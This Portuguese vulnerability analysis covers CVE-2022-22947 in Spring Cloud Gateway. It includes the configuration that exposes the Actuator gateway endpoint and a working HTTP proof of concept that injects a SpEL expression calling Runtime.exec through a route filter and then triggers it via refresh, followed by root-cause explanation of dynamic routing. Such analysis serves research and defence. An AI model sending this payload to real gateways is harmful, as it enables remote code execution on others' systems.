Análise detalhada e exploit para CVE-2022-22947, uma vulnerabilidade de execução remota de código no Spring Cloud Gateway via injeção de SpEL na API Actuator. Inclui PoC, injeção de shell de memória e análise da causa raiz.
Spring Cloud Gateway é um novo projeto do Spring Cloud, baseado em tecnologias como Spring 5.0, Spring Boot 2.0 e Project Reactor para o desenvolvimento de gateways. Ele visa fornecer uma maneira simples e eficaz de gerenciamento unificado de rotas de API para arquiteturas de microsserviços. Recentemente, o Spring Cloud Gateway foi alvo de uma grave vulnerabilidade RCE CVE. As informações do CVE mostram que, quando a aplicação ativa e expõe o endpoint Gateway Actuator do Spring Cloud Gateway, ela está sujeita a ataques de injeção remota de código. Um atacante pode enviar uma requisição maliciosa para executar remotamente qualquer código. As versões atualmente afetadas são:
Esta análise explora o princípio da vulnerabilidade e formas de exploração adicionais através da reprodução deste CVE.
Crie um projeto Maven com as seguintes dependências:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Na configuração padrão do spring boot, apenas o endpoint health está aberto para a web. Se precisar abrir o gateway, é necessário configurá-lo manualmente. Consulte a [documentação oficial](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Envie o seguinte POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Em seguida, envie ```POST /actuator/gateway/refresh``` para atualizar as informações do cache de roteamento, acionando assim o POC:

## Análise do princípio
Observando o POC acima, primeiro é adicionada dinamicamente uma rota via ```POST /actuator/gateway/routes/test2```. Durante o processo de adição da rota, um filter processa os parâmetros de entrada e pode interpretar esse valor como uma expressão spel. Em seguida, ao atualizar o cache de roteamento, o POC é executado.
Primeiro, vejamos o mecanismo de configuração de roteamento dinâmico do Spring Cloud Gateway.
### Configuração de roteamento dinâmico
O Spring Cloud Gateway suporta o registro de rotas por meio de código/arquivos de configuração. Tomando como exemplo o [demo](https://spring.io/guides/gs/gateway/) oficial:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
A forma dos arquivos de configuração é semelhante ao código:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
As rotas adicionadas por esses dois métodos são fixas. Se for necessário adicionar, modificar ou excluir configurações e regras de rota, a aplicação deve ser reiniciada para que as alterações entrem em vigor. No entanto, na prática, o Spring Cloud Gateway, como ponto de entrada de todo o tráfego, precisa garantir alta disponibilidade do sistema. Portanto, após expor o endpoint /gateway, é possível adicionar, modificar e excluir dinamicamente informações de rota através de /gateway/routes. Porém, as informações de rota desse método existem apenas na memória; uma vez que o serviço seja reiniciado, as novas configurações de rota adicionadas serão perdidas.
A partir do formato de registro de rota acima, podemos ver que uma informação de rota inclui a URI de destino, uma coleção de filtros e uma coleção de predicados. Os predicados podem corresponder a qualquer conteúdo da solicitação HTTP (cabeçalhos, parâmetros). O Spring Cloud Gateway possui muitas classes de fábrica de predicados de rota integradas, como Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Os filtros são usados para modificar a requisição ou resposta antes ou depois do envio da requisição. Eles também incluem muitos conjuntos de filtros internos. No payload que desencadeia o RCE acima, o filtro que usamos foi o AddResponseHeader. Outros filtros incluem RewritePath, SetPath, etc. Existem dois tipos de filtros: um é o GlobalFilter, que é efetivo para todas as rotas, e o outro é o GatewayFilter, que é efetivo apenas para uma única rota. Para mais detalhes, consulte https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Fluxo da requisição
Então, qual é o fluxo específico quando uma requisição chega, passa pelo gateway e vai para o serviço proxy (proxied service) no backend? O fluxo no documento oficial é o seguinte:

O cliente envia uma requisição ao Spring Cloud Gateway. Em seguida, no GateWay Handler Mapping, encontra a rota correspondente à requisição e a envia para o GateWay Web Handler. O Handler, por sua vez, envia a requisição através da cadeia de filtros especificada para o nosso serviço real executar a lógica de negócios e depois retorna. Os filtros são separados por linhas tracejadas porque os filtros podem executar a lógica de negócios antes (pre) ou depois (post) do envio da requisição proxy.
RoutePredicateHandlerMapping encontra a rota e, em seguida, é processado pelo webHandler:

No webHandler, após encontrar os gatewayFilters e globalFilters, eles são ordenados de acordo com o valor Order definido no filtro para formar uma filterchain e, em seguida, todos os filtros são executados.

### Registro de rota dinâmica